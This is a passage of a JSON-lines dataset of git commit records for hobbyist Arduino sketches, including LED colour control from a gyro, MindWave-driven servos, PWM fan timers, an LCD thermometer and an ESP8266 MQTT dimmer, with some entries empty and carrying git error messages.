{"commit":"ce45f40c8eb6c7a1579f1a1836811889b89bfd90","subject":"Changed name of pixel board","message":"Changed name of pixel board\n\n","repos":"ckuzma\/nodemcu-as-arduino,ckuzma\/nodemcu-as-arduino","old_file":"Sketches\/LED Board\/led_board\/led_board.ino","new_file":"Sketches\/LED Board\/led_board\/led_board.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Sketches\/LED' did not match any file(s) known to git\nerror: pathspec 'Board\/led_board\/led_board.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b63b872f12dd3836dd659bc14abceb9217cf6ba8","subject":"First Revision","message":"First Revision\n","repos":"haydenridd\/LEDProject","old_file":"SpinCode\/SpinCode.ino","new_file":"SpinCode\/SpinCode.ino","new_contents":"#include <Wire.h> \n#include <Adafruit_L3GD20.h>\n\n\/\/ Masking Defs\n#define BIT_MASK 8191 \/\/ 13 bits, all ones\n#define EIGHT_BIT_MAX 255 \/\/ 8 bits, all ones, the maximum value the LED would take (255), used for flipping ranges \n#define ABS_MASK 32767 \/\/ 15 bits, all ones, && with 16 bit signed integer to take off sign bit\n#define QUARTER ABS_MASK >> 2 \/\/ 15 bits all ones divided by 4\n#define HALF ABS_MASK >> 1 \/\/ 15 bits all ones divided by 2\n#define THREE_QUARTER QUARTER + HALF \/\/ summed together to produce 3\/4\n#define SHIFT_NUM 6 \/\/ right shifting the masked accelerometer data by this number will change the range to 0 -> 127\n\n#define r 10\n#define g 12\n#define b 9\n\nAdafruit_L3GD20 gyro;\n\nlong sum;\nint accel_in = 0;\nint masked_in;\n\nvoid setup()\n{\n pinMode(r,OUTPUT);\n pinMode(g,OUTPUT);\n pinMode(b,OUTPUT); \n \n if (!gyro.begin(gyro.L3DS20_RANGE_2000DPS))\n {\n while (1);\n }\n \n \/\/analogWrite(r,1);\n \/\/analogWrite(g,1);\n}\n\nvoid loop()\n{\n sum = 0;\n for(int i = 0; i < 8; i++)\n { gyro.read();\n sum = sum + abs(gyro.data.z);\n delay(1);\n }\n sum = sum >> 3;\n accel_in = (int)sum;\n \n \/\/ assuming accel_in = signed 16 bit input\n \/\/ r -> pwm value for red from 0 -> 255\n \/\/ g -> pwm value for green 0 -> 255\n \/\/ b -> pwm value for blue 0 -> 255\n \n\/\/ accel_in = accel_in + 1;\n\n \n\/\/ for(int i = 0; i < 127; i++)\n\/\/ { analogWrite(g,127-i);\n\/\/ analogWrite(r,i);\n\/\/ delay(10);\n\/\/ }\n \naccel_in = accel_in & ABS_MASK; \/\/ take absolute value of accelerometer data\nmasked_in = accel_in & BIT_MASK; \/\/ 13 bit mask of accelerometer data\n \nif(accel_in < QUARTER){ \/\/ first quarter of accelerometer range\nanalogWrite(r,0);\nanalogWrite(g,masked_in >> SHIFT_NUM); \/\/ green ranges 0 -> 127\nanalogWrite(b,EIGHT_BIT_MAX - ( masked_in >> SHIFT_NUM)); \/\/ blue ranges 255 -> 128\n}\nelse if(accel_in < HALF){ \/\/ second quarter of accelerometer range\nanalogWrite(r,0);\nanalogWrite(g,(EIGHT_BIT_MAX >> 1) + (masked_in >> SHIFT_NUM)); \/\/ green ranges 128 -> 255\nanalogWrite(b,(EIGHT_BIT_MAX >> 1) - (masked_in >> SHIFT_NUM)); \/\/ blue ranges 127 -> 0\n}\nelse if(accel_in < THREE_QUARTER){\/\/ third quarter of accelerometer range\nanalogWrite(r,masked_in >> SHIFT_NUM); \/\/ red ranges 0 -> 127\nanalogWrite(g,EIGHT_BIT_MAX - ( masked_in >> SHIFT_NUM)); \/\/ green ranges 255 -> 128\nanalogWrite(b,0);\n}\nelse{ \/\/ final quarter of accelerometer range\nanalogWrite(r,(EIGHT_BIT_MAX >> 1) + (masked_in >> SHIFT_NUM)); \/\/ red ranges 128 -> 255\nanalogWrite(g,(EIGHT_BIT_MAX >> 1) - (masked_in >> SHIFT_NUM)); \/\/ green ranges 127 -> 0\nanalogWrite(b,0);\n}\n\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'SpinCode\/SpinCode.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"db33475503c60a36c08a02cd4029fa6c41888fc0","subject":"Updated NTP example","message":"Updated NTP example\n","repos":"PaoloP74\/WiFiESP,PaoloP74\/WiFiESP","old_file":"examples\/UdpNTPClient\/UdpNTPClient.ino","new_file":"examples\/UdpNTPClient\/UdpNTPClient.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/PaoloP74\/WiFiESP.git\/'\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"d4eb533988183e491f3285a51106aaa508b187d9","subject":"Added documentation to the serialTestSketch arduino sketch.","message":"Added documentation to the serialTestSketch arduino sketch.\n","repos":"DavidPurcell\/igvc-software,monstorium\/igvc-software,prabhu-dev\/LineDetectorLengthFix,zachcmathews\/igvc-software,kscharm\/igvc-software,rqiu8\/igvc-software,sayakchatterjee\/igvc-software,ytulsiani\/igvc-software,sgadgil6\/igvc-software,jondolan\/igvc-software,zachcmathews\/igvc-software,jzheng84\/igvc-software,jgkamat\/igvc-software,RoboJackets\/igvc-software,rortiz9\/igvc-software,ytulsiani\/igvc-software,rqiu8\/igvc-software,monstorium\/igvc-software,thaeds\/igvc-software,sgadgil6\/igvc-software,jgkamat\/igvc-software,zachcmathews\/igvc-software,jondolan\/igvc-software,rqiu8\/igvc-software,jzheng84\/igvc-software,sayakchatterjee\/igvc-software,jgkamat\/igvc-software,ytulsiani\/igvc-software,dpattison3\/igvc-software,vmurahari3\/igvc-software,kscharm\/igvc-software,DavidPurcell\/igvc-software,monstorium\/igvc-software,sgadgil6\/igvc-software,rmkeezer\/igvc-software,rmkeezer\/igvc-software,zachcmathews\/igvc-software,ytulsiani\/igvc-software,prabhu-dev\/LineDetectorLengthFix,jzheng84\/igvc-software,sgadgil6\/igvc-software,RoboJackets\/igvc-software,sayakchatterjee\/igvc-software,kscharm\/igvc-software,vmurahari3\/igvc-software,thomaswyatt01\/igvc-software,dpattison3\/igvc-software,nareddyt\/igvc-software,thaeds\/igvc-software,prabhu-dev\/LineDetectorLengthFix,seanrsain\/igvc-software,RoboJackets\/igvc-software,sgadgil6\/igvc-software,DavidPurcell\/igvc-software,sayakchatterjee\/igvc-software,jzheng84\/igvc-software,rortiz9\/igvc-software,DavidPurcell\/igvc-software,vmurahari3\/igvc-software,dpattison3\/igvc-software,seanrsain\/igvc-software,nareddyt\/igvc-software,ytulsiani\/igvc-software,jondolan\/igvc-software,nareddyt\/igvc-software,dpattison3\/igvc-software,thaeds\/igvc-software,nareddyt\/igvc-software,prabhu-dev\/LineDetectorLengthFix,nareddyt\/igvc-software,seanrsain\/igvc-software,DavidPurcell\/igvc-software,RoboJackets\/igvc-software,rqiu8\/igvc-software,rmkeezer\/igvc-software,thomaswyatt01\/igvc-software,prabhu-dev\/LineDetectorLengthFix,thomaswyatt01\/igvc-software,seanrsain\/igvc-software,jgkamat\/igvc-software,thomaswyatt01\/igvc-software,rortiz9\/igvc-software,monstorium\/igvc-software,kscharm\/igvc-software,rqiu8\/igvc-software,jondolan\/igvc-software,thomaswyatt01\/igvc-software,zachcmathews\/igvc-software,thaeds\/igvc-software,seanrsain\/igvc-software,monstorium\/igvc-software,sayakchatterjee\/igvc-software,vmurahari3\/igvc-software,thaeds\/igvc-software,vmurahari3\/igvc-software,jgkamat\/igvc-software,jondolan\/igvc-software","old_file":"2013\/software\/src\/arduino\/serialTestSketch\/serialTestSketch.ino","new_file":"2013\/software\/src\/arduino\/serialTestSketch\/serialTestSketch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/jondolan\/igvc-software.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"2a877deb838281f736e426c46d949a72ae582d20","subject":"Neurosky Mindwave Meter","message":"Neurosky Mindwave Meter\n\nThis is incomplete. needs to have the 2nd servo configured in the code.\n","repos":"urbanatwork\/Robotics2013-14","old_file":"MindWave_DualServo_Monitor_v3\/MindWave_DualServo_Monitor_v3.ino","new_file":"MindWave_DualServo_Monitor_v3\/MindWave_DualServo_Monitor_v3.ino","new_contents":"\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Arduino Bluetooth Interface with Mindwave\n\/\/ \n\/\/ Some of this is example code provided by NeuroSky, Inc. and is provided\n\/\/ license free.\n\n\/\/ This Code has been modified to control a Servo with it's signal wire attached to pin 13 and serial out info on which case it is using.\n\/\/ Urban Reininger - urban@ross.org - 2014-02-07\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include <Servo.h> \n \nServo servo1; \/\/ create servo object to control a servo\nServo servo2; \/\/ create servo object to control a servo\n \nint pos = 0; \/\/ variable to store the servo position\nint servo1Degrees = 0;\nint servo2Degrees = 0;\n\n#define BAUDRATE 57600\n#define DEBUGOUTPUT 0\n\n#define powercontrol 10\n\n\/\/ checksum variables\nbyte generatedChecksum = 0;\nbyte checksum = 0; \nint payloadLength = 0;\nbyte payloadData[64] = {\n 0};\nbyte poorQuality = 0;\nbyte attention = 0;\nbyte meditation = 0;\n\n\/\/ system variables\nlong lastReceivedPacket = 0;\nboolean bigPacket = false;\n\n\/\/ Microprocessor Setup ------------------------------------------\n\nvoid setup() {\n \n servo1.attach(13); \/\/ attaches the servo on pin 13 to the servo object \n\n Serial.begin(BAUDRATE); \/\/ USB\n}\n\n\/\/ Read data from Serial UART ------------------------------------------\nbyte ReadOneByte() {\n int ByteRead;\n\n while(!Serial.available());\n ByteRead = Serial.read();\n\n#if DEBUGOUTPUT \n Serial.print((char)ByteRead); \/\/ echo the same byte out the USB serial (for debug purposes)\n#endif\n\n return ByteRead;\n}\n\n\/\/MAIN LOOP\/\/\nvoid loop() {\n\n\n \/\/ Look for sync bytes\n if(ReadOneByte() == 170) {\n if(ReadOneByte() == 170) {\n\n payloadLength = ReadOneByte();\n if(payloadLength > 169) \/\/Payload length can not be greater than 169\n return;\n\n generatedChecksum = 0; \n for(int i = 0; i < payloadLength; i++) { \n payloadData[i] = ReadOneByte(); \/\/Read payload into memory\n generatedChecksum += payloadData[i];\n } \n\n checksum = ReadOneByte(); \/\/Read checksum byte from stream \n generatedChecksum = 255 - generatedChecksum; \/\/Take one's compliment of generated checksum\n\n if(checksum == generatedChecksum) { \n\n poorQuality = 200;\n attention = 0;\n meditation = 0;\n\n for(int i = 0; i < payloadLength; i++) { \/\/ Parse the payload\n switch (payloadData[i]) {\n case 2:\n i++; \n poorQuality = payloadData[i];\n bigPacket = true; \n break;\n case 4:\n i++;\n attention = payloadData[i]; \n break;\n case 5:\n i++;\n meditation = payloadData[i];\n break;\n case 0x80:\n i = i + 3;\n break;\n case 0x83:\n i = i + 25; \n break;\n default:\n break;\n } \/\/ switch\n } \/\/ for loop\n\n#if !DEBUGOUTPUT\n\n \/\/ *** Add your code here ***\n\n if(bigPacket) {\n if(poorQuality == 0)\n Serial.print(\"Conencted! \");\n\n Serial.print(\"Noise: \");\n Serial.print(poorQuality, DEC);\n Serial.print(\" Attention: \");\n Serial.print(attention , DEC);\n Serial.print(\" Meditation: \"); \/\/ added\n Serial.print(meditation, DEC); \/\/added\n \n Serial.print(\" Time since last packet: \");\n Serial.print(millis() - lastReceivedPacket, DEC);\n lastReceivedPacket = millis();\n Serial.print(\"\\n\");\n \n \n\/\/ How the Servo's angle increases or decreases -------------------------------------\n\nif(poorQuality == 0){\n \n if (meditation > servo1Degrees){ \/\/tesing meditation \n \n servo1Degrees=(servo1Degrees+3);\n servo1.write(servo1Degrees);\n Serial.print(\"Meditation Up - Servo Degrees: \");\n Serial.print(servo1Degrees);\n Serial.print(\"\\n\");\n \n }\n if(meditation <= servo1Degrees){ \/\/tesing meditation \n servo1Degrees=(servo1Degrees-3);\n servo1.write(servo1Degrees);\n Serial.print(\"Meditation Down - Servo Degrees: \");\n Serial.print(servo1Degrees);\n Serial.print(\"\\n\");\n \n } \/\/ end meditation testing\n \n \n if (attention > servo2Degrees){ \/\/tesing attention \n \n servo2Degrees=(servo2Degrees+3);\n servo2.write(servo2Degrees);\n Serial.print(\"Attention Up - Servo Degrees: \");\n Serial.print(servo2Degrees);\n Serial.print(\"\\n\");\n \n }\n \n if(attention <= servo2Degrees){ \/\/tesing attention \n servo2Degrees=(servo2Degrees-3);\n servo2.write(servo2Degrees);\n Serial.print(\"Attention Down - Servo Degrees: \");\n Serial.print(servo2Degrees);\n Serial.print(\"\\n\");\n \n } \/\/ end attention testing\n \n \n} else {\n \n servo1Degrees=0;\n servo2Degrees=0;\n servo1.write(servo1Degrees);\n servo2.write(servo2Degrees);\n \n Serial.print(\"Poor connection, Servos set to 0 Degrees!!!\");\n Serial.print(\"\\n\");\n } \/\/ end else\n \n }\n#endif \n bigPacket = false; \n }\n else {\n \/\/ Checksum Error\n } \/\/ end if else for checksum\n } \/\/ end if read 0xAA byte\n } \/\/ end if read 0xAA byte\n}\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'MindWave_DualServo_Monitor_v3\/MindWave_DualServo_Monitor_v3.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3bf4cca00730e9e224831baf7ab48af85b20daf1","subject":"Tutorial 3","message":"Tutorial 3\n\nTutorial med knapper tilf\u00f8jet\n","repos":"ockley\/arduino_dmjx,ockley\/arduino_dmjx","old_file":"tutorial files\/_3_buttons\/_3_buttons.ino","new_file":"tutorial files\/_3_buttons\/_3_buttons.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'tutorial' did not match any file(s) known to git\nerror: pathspec 'files\/_3_buttons\/_3_buttons.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6255f76665282e5ce5037f4a75fa461d70fe364e","subject":"add the finally working attempt at a pwm fan controller","message":"add the finally working attempt at a pwm fan controller\n","repos":"Bengt\/AL-FanControl,Bengt\/AL-FanControl,Bengt\/AL-FanControl","old_file":"arduino\/bridgehead_pwm\/bridgehead_pwm.ino","new_file":"arduino\/bridgehead_pwm\/bridgehead_pwm.ino","new_contents":"\/*\n Fast PWM Test\n\nDemostrates the generation of high speed PWM\nusing timers 1 and 4\nThere are two pieces of code:\n\nOne for pins 9, 10 and 11 using TIMER 1\nwith frequencies up to 62kHz\n\nOther for pins 5 and 6 using TIMER 4\nwith frequencies up to 187kHz\n\n*\/\n\n\/**********************************************************\n Fast PWM on pins 9,10,11 (TIMER 1)\n \n Do not use analogWrite to pins 9, 10 or 11 if using \n this functions as they use the same timer.\n \n Those functions will probably conflict with the \n servo library.\n \n Uses 5 PWM frequencies between 61Hz and 62.5kHz\n \n**********************************************************\/\n\n\/\/ Frequency modes for TIMER1\n#define PWM62k 1 \/\/ 62500 Hz\n#define PWM8k 2 \/\/ 7812 Hz\n#define PWM1k 3 \/\/ 976 Hz\n#define PWM244 4 \/\/ 244 Hz\n#define PWM61 5 \/\/ 61 Hz\n\n\/\/ Direct PWM change variables\n\/\/ OCR = output compare register\n#define PWM9 OCR1A\n#define PWM10 OCR1B\n#define PWM11 OCR1C\n\n\/\/ Configure the PWM clock\n\/\/ The argument is one of the 5 previously defined modes\nvoid pwm91011configure(int mode) {\n \/\/ Configure DDRB\n \/\/ DDRB is the Port B Data Direction Register.\n DDRB |= 1 << 5; \/\/ Set port B pin 5 (Arduino 9) to output mode\n DDRB |= 1 << 6; \/\/ Set port B pin 6 (Arduino 10) to output mode\n DDRB |= 1 << 7; \/\/ Set port B pin 7 (Arduino 11) to output mode\n\n \/\/ Configure TCCR1A\n \/\/ 00 : Channel A disabled D9\n \/\/ 00 : Channel B disabled D10\n \/\/ 00 : Channel C disabled D11\n \/\/ 01 : Fast PWM 8 bit\n \/\/ TCCR1A is the Timer\/Counter1 Control Register A.\n TCCR1A = 1; \/\/ Set prescaler to 1, to increment at 16 MHz\n TCCR1A |= 0x80; \/\/ Activate channel 5\n TCCR1A |= 0x20; \/\/ Activate channel 6\n TCCR1A |= 0x08; \/\/ Activate channel 7\n\n \/\/ Configure TCCR1B\n \/\/ TCCR1B is the Timer\/Counter 1 Control Register B.\n \/\/ Clock mode and Fast PWM 8 bit\n TCCR1B = mode | 0x08;\n\n \/\/ Configure TCCR1C\n \/\/ TCCR1C is the Timer\/Counter 1 Control Register C.\n TCCR1C = 0; \/\/ Stop timer\/counter channel c\n}\n\n\/**********************************************************\n Fast PWM on pins 5, 6 (High Speed TIMER 4)\n \n Do not use analogWrite to pins 5 or 6 if using \n this functions as they use the same timer.\n \n Those functions will conflict with the \n MSTIMER2 library.\n\n Uses 7 PWM frequencies between 2930Hz and 187.5kHz\n \n Timer 4 uses a PLL as input so that its clock frequency\n can be up to 96MHz on standard Arduino Leonardo.\n We limit imput frequency to 48MHz to generate 187.5kHz PWM\n If needed, we can double that up to 375kHz\n\n**********************************************************\/\n\n\/\/ Frequency modes for TIMER4\n#define PWM187k 1 \/\/ 187500 Hz\n#define PWM94k 2 \/\/ 93750 Hz\n#define PWM47k 3 \/\/ 46875 Hz\n#define PWM23k 4 \/\/ 23437 Hz\n#define PWM12k 5 \/\/ 11719 Hz\n#define PWM6k 6 \/\/ 5859 Hz\n#define PWM3k 7 \/\/ 2930 Hz\n\n\/\/ Direct PWM change variables\n#define PWM5 OCR4A\n#define PWM6 OCR4D\n\n\/\/ Configure the PWM clock\n\/\/ The argument is one of the 7 previously defined modes\nvoid pwm_5_6_configure(int mode) {\n \/\/ TCCR4A configuration\n TCCR4A |= 0x42; \/\/ Activate the complementary channel A (Arduino pin 5)\n \n \/\/ TCCR4B configuration\n TCCR4B = mode;\n \n \/\/ TCCR4C configuration\n TCCR4C |= 0x09; \/\/ Activate channel C\n\n \/\/ TCCR4D configuration\n TCCR4D = 0; \/\/ operate in PWM mode\n\n OCR4C = 255; \/\/ Terminal count for Timer 4 PWM\n \n \/\/ Configure Port C\n DDRC |= 1 << 6; \/\/ Set port C pin 6 (Arduino 5) to output mode\n DDRD |= 1 << 7; \/\/ Set port D pin 7 (Arduino 6) to output mode\n \n \/\/ PLL Configuration\n \/\/ Use 96MHz \/ 2 = 48MHz\n PLLFRQ = (PLLFRQ & 0xCF)|0x30;\n \/\/ PLLFRQ = (PLLFRQ & 0xCF)|0x10; \/\/ Will double all frequencies\n}\n\nvoid setup() {\n \/\/ Configure Timer 1 (Pins 9, 10 and 11)\n \/\/ It will operate at 8 kHz\n \/\/ Valid options are: \n \/\/ PWM62k, PWM8k, PWM1k, PWM244 and PWM61\n \/\/ This works with Arctic Cooling AF12 und Noctua NF-F12.\n pwm91011configure(PWM8k);\n\n \/\/ Configure Timer 4 (Pins 5 and 6)\n \/\/ It will operate at 23 kHz\n \/\/ Valid options are:\n \/\/ PWM187k, PWM94k, PWM47k, PWM23k, PWM12k, PWM6k and PWM3k\n pwm_5_6_configure(PWM23k);\n\n Serial.begin(9600);\n}\n\nint i = 0;\n\nvoid loop() {\n \/\/ Variate throttle between 16 and 25 %\n int value = 16 + i;\n i = (i + 1) % 64;\n \n \/\/ Those fast macros require a previous configuration\n \/\/ of the channels using the pwmSet9 and pwmSet6\n \/\/ functions\n \/\/ PWMn macros are fast to execute\n PWM5 = 255 - value;\n PWM6 = value;\n PWM9 = value;\n PWM10 = value;\n PWM11 = value; \/\/ TODO there is no pin 11 on the leonardo clones, I am using\n\n Serial.println(value, DEC);\n\n \/\/ Small delay\n delay(100);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/bridgehead_pwm\/bridgehead_pwm.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"29d9915014bf573b19ea458ad64604b913d66d91","subject":"Test application #85","message":"Test application #85\n\nA testapplication. Print temperature on LCD.\n","repos":"Prosjekt2-09arduino\/ArduinoStore,Prosjekt2-09arduino\/ArduinoStore,Prosjekt2-09arduino\/ArduinoStore","old_file":"Arduino\/TestApplication\/TestApplication.ino","new_file":"Arduino\/TestApplication\/TestApplication.ino","new_contents":"#include <ComputerSerial.h>\n#include <LiquidCrystal.h>\n#include <EEPROM.h>\n\n\/\/Constants\nstatic const int PIN_LED = 2;\nstatic const int PIN_SOUND = 3;\nstatic const int RESET_PIN = 4;\nstatic const int PIN_DEBUG_LED = 13;\n\nstatic const int PIN_SCREEN_A = 7;\nstatic const int PIN_SCREEN_B = 8;\nstatic const int PIN_SCREEN_1 = 9;\nstatic const int PIN_SCREEN_2 = 10;\nstatic const int PIN_SCREEN_3 = 11;\nstatic const int PIN_SCREEN_4 = 12;\n\nunsigned long time;\n\nstatic const int TEMPERATURE_SENSOR = 5;\nstatic const int LIGHT_SENSOR = 6;\n\n\/\/Global variables\nstatic ComputerSerial comp;\nstatic LiquidCrystal lcd(PIN_SCREEN_A, PIN_SCREEN_B, PIN_SCREEN_1, PIN_SCREEN_2, PIN_SCREEN_3, PIN_SCREEN_4);\n\n\/\/ Reset\nvoid* reset(byte flag, byte data[], word dataSize)\n{\n}\n\nvoid setup()\n{\n\t\/\/Initialize computer serial class\n\tcomp.begin(115200);\n\t\n\t\/\/ Initialize reset function\n\tpinMode(RESET_PIN,OUTPUT);\n\tdigitalWrite(RESET_PIN,HIGH);\n\t\n\tcomp.setDeviceName(\"uCSS\");\n\tcomp.setDeviceVersion(\"v0.1a\");\n\t\n\t\/\/ Set BT in programming mode, 115200 baudrate\n\tcomp.addDeviceService(\"RESET\", \"\");\n\tcomp.attachFunction(comp.OPCODE_RESET, &reset);\n\t\n\t\/\/ LCD\n\tlcd.begin(16, 2);\n\tlcd.setCursor(0, 0);\n\tlcd.clear();\n\n\t\/\/Download links\n\tcomp.addDeviceDownloadLink(\"http:\/\/folk.ntnu.no\/svarvaa\/utils\/pro2www\/#appId1\", \"OSNAP Jacket\");\n\t\n\t\/\/ Timer used by LCD\n\ttime = millis();\n}\n\nvoid loop()\n{\n\t\/\/Run every 2 sec\n\tif(millis() >= time+1000) {\n\t\tlcd.clear();\n\t\t\n\t\t\/\/ Calculate and print temperature\n\t\tfloat temperature = (((analogRead(TEMPERATURE_SENSOR) * 5.0) \/ 1024) - 0.5) * 100;\n\t\tlcd.setCursor(0, 0);\n\t\tlcd.print(\"Temp: \");\n\t\tlcd.print(temperature);\n\t\tlcd.print(\" C\");\n\n\t\t\/\/ \/\/ Print light sensor\n\t\t\/\/ lcd.setCursor(0,1);\n\t\t\/\/ lcd.print(\"Light: \");\n\t\t\/\/ lcd.print(analogRead(map(analogRead(LIGHT_SENSOR), 0, 1023, 0, 100);));\n\t\t\/\/ lcd.print(\" %\");\n\t\t\n\t\ttime = millis();\n\t}\n}\n\nvoid serialEvent()\n{\n\tcomp.serialEvent();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/TestApplication\/TestApplication.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"6b853f2f644314761f674a6dd4565dc1e9608bfa","subject":"Delete ProjectCode.ino.ino","message":"Delete ProjectCode.ino.ino","repos":"AdamInTheOculus\/ShowcaseDemo,AdamInTheOculus\/ShowcaseDemo","old_file":"src\/Arduino Code\/ProjectCode.ino.ino","new_file":"src\/Arduino Code\/ProjectCode.ino.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/Arduino' did not match any file(s) known to git\nerror: pathspec 'Code\/ProjectCode.ino.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"90502db528512e11edcfac7636798dde79576af4","subject":"First version of firmware","message":"First version of firmware\n","repos":"nicoandra\/leddimmer,stelioskat\/esp8266-led-dimmer","old_file":"firmware\/firmware.ino","new_file":"firmware\/firmware.ino","new_contents":"#include <ESP8266WiFi.h>\n#include \"Adafruit_MQTT.h\"\n#include \"Adafruit_MQTT_Client.h\"\n\n#define WLAN_SSID \"YOUR SSID\"\n#define WLAN_PASS \"YOUR PASSWORD\"\n\n#define SERVER \"minibian\"\n#define SERVERPORT 1883\n\n#define LED 4\n#define DS18B20 5 \/\/ Dallas DS18B20 digital thermometer\n\nunsigned int brightness = 1023;\n\n\/\/ Create an ESP8266 WiFiClient class to connect to the MQTT server.\nWiFiClient client;\n\nAdafruit_MQTT_Client mqtt(&client, SERVER, SERVERPORT);\nAdafruit_MQTT_Subscribe onoffsw = Adafruit_MQTT_Subscribe(&mqtt, \"\/light\/1\");\n\n\/\/ Bug workaround for Arduino 1.6.6, it seems to need a function declaration\n\/\/ for some reason (only affects ESP8266, likely an arduino-builder bug).\nvoid MQTT_connect();\n\nvoid setup() {\n pinMode(LED, OUTPUT);\n Serial.begin(74880);\n delay(10);\n\n \/\/ Connect to WiFi access point.\n Serial.println(); Serial.println();\n Serial.print(F(\"Connecting to \"));\n Serial.println(WLAN_SSID);\n\n WiFi.begin(WLAN_SSID, WLAN_PASS);\n if (WiFi.status() != WL_CONNECTED) {\n delay(300);\n Serial.print(F(\".\"));\n }\n Serial.println();\n Serial.println(F(\"WiFi connected\"));\n Serial.println(F(\"IP address: \"));\n Serial.println(WiFi.localIP());\n\n \/\/ Setup MQTT subscription for onoff feed.\n mqtt.subscribe(&onoffsw);\n}\n\nuint32_t x = 0;\nunsigned int i = 0;\nvoid loop() {\n \/\/ Ensure the connection to the MQTT server is alive (this will make the first\n \/\/ connection and automatically reconnect when disconnected). See the MQTT_connect\n \/\/ function definition further below.\n MQTT_connect();\n \/\/ try to spend your time here\n\n Adafruit_MQTT_Subscribe *subscription;\n while ((subscription = mqtt.readSubscription(10000))) {\n\n if (strcmp((char *)onoffsw.lastread, \"{\\\"On\\\":1}\") == 0) {\n Serial.println(F(\"On\"));\n i = 0;\n while (i < brightness) {\n analogWrite(LED, i);\n i += 2;\n delay(4);\n }\n }\n else if (strcmp((char *)onoffsw.lastread, \"{\\\"On\\\":0}\") == 0) {\n Serial.println(F(\"Off\"));\n while (i > 10) {\n analogWrite(LED, i);\n i -= 10;\n delay(20);\n }\n analogWrite(LED, 0);\n i = 0;\n }\n \/\/ Check if the brightness setting has been updated\n else if (strncmp((char *)onoffsw.lastread, \"{\\\"Brightness\\\":\", 14) == 0 ) {\n Serial.print(F(\"Brightness: \"));\n \n unsigned int l = strlen((char *)onoffsw.lastread);\n onoffsw.lastread[l - 1] = '\\0'; \/\/ overwrite the ending bracket\n unsigned int bright_perc = atoi((char *)onoffsw.lastread + 14);\n Serial.println(bright_perc);\n unsigned int new_brightness = 1023 * bright_perc \/ 100;\n if (new_brightness > 1023) new_brightness = 1023;\n \n if (new_brightness > brightness) {\n i = brightness;\n while (i < new_brightness) {\n analogWrite(LED, i);\n i += 2;\n delay(4);\n }\n analogWrite(LED, new_brightness);\n i = new_brightness;\n \n }\n else {\n while (i > new_brightness) {\n analogWrite(LED, i);\n i -= 1;\n delay(2);\n \n }\n analogWrite(LED, new_brightness);\n i = new_brightness;\n }\n brightness = new_brightness;\n }\n }\n}\n\n\n\n\/\/ Function to connect and reconnect as necessary to the MQTT server.\n\/\/ Should be called in the loop function and it will take care if connecting.\nvoid MQTT_connect() {\n int8_t ret;\n\n \/\/ Stop if already connected.\n if (mqtt.connected()) {\n return;\n }\n\n Serial.print(F(\"Connecting to MQTT... \"));\n\n uint8_t retries = 3;\n while ((ret = mqtt.connect()) != 0) { \/\/ connect will return 0 for connected\n Serial.println(mqtt.connectErrorString(ret));\n Serial.println(F(\"Retrying MQTT connection in 5 seconds...\"));\n mqtt.disconnect();\n delay(5000); \/\/ wait 5 seconds\n retries--;\n if (retries == 0) {\n \/\/ basically die and wait for WDT to reset me\n while (1);\n }\n }\n Serial.println(F(\"MQTT Connected!\"));\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/firmware.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c230c297ea7d0cf6856e39b82d537a3b8ab1296c","subject":"added basic LED example","message":"added basic LED example\n","repos":"johnosullivan\/MiHome,johnosullivan\/MiHome,johnosullivan\/MiHome,johnosullivan\/MiHome,johnosullivan\/MiHome,johnosullivan\/MiHome","old_file":"tools\/status_led\/status_led.ino","new_file":"tools\/status_led\/status_led.ino","new_contents":"#include <Adafruit_NeoPixel.h>\n \n#define PIN 6\n#define N_LEDS 1\n \nAdafruit_NeoPixel strip = Adafruit_NeoPixel(N_LEDS, PIN, NEO_GRB + NEO_KHZ800);\n \nvoid setup() {\n strip.begin();\n}\n \nvoid loop() {\n chase(strip.Color(255, 255, 255));\n}\n \nstatic void chase(uint32_t c) {\n strip.setPixelColor(0 , c);\n strip.show();\n delay(2000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'tools\/status_led\/status_led.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5b2d14aaba73cd612cb54b4f7c9e245b04818ff5","subject":"Update homotica_sketch.ino","message":"Update 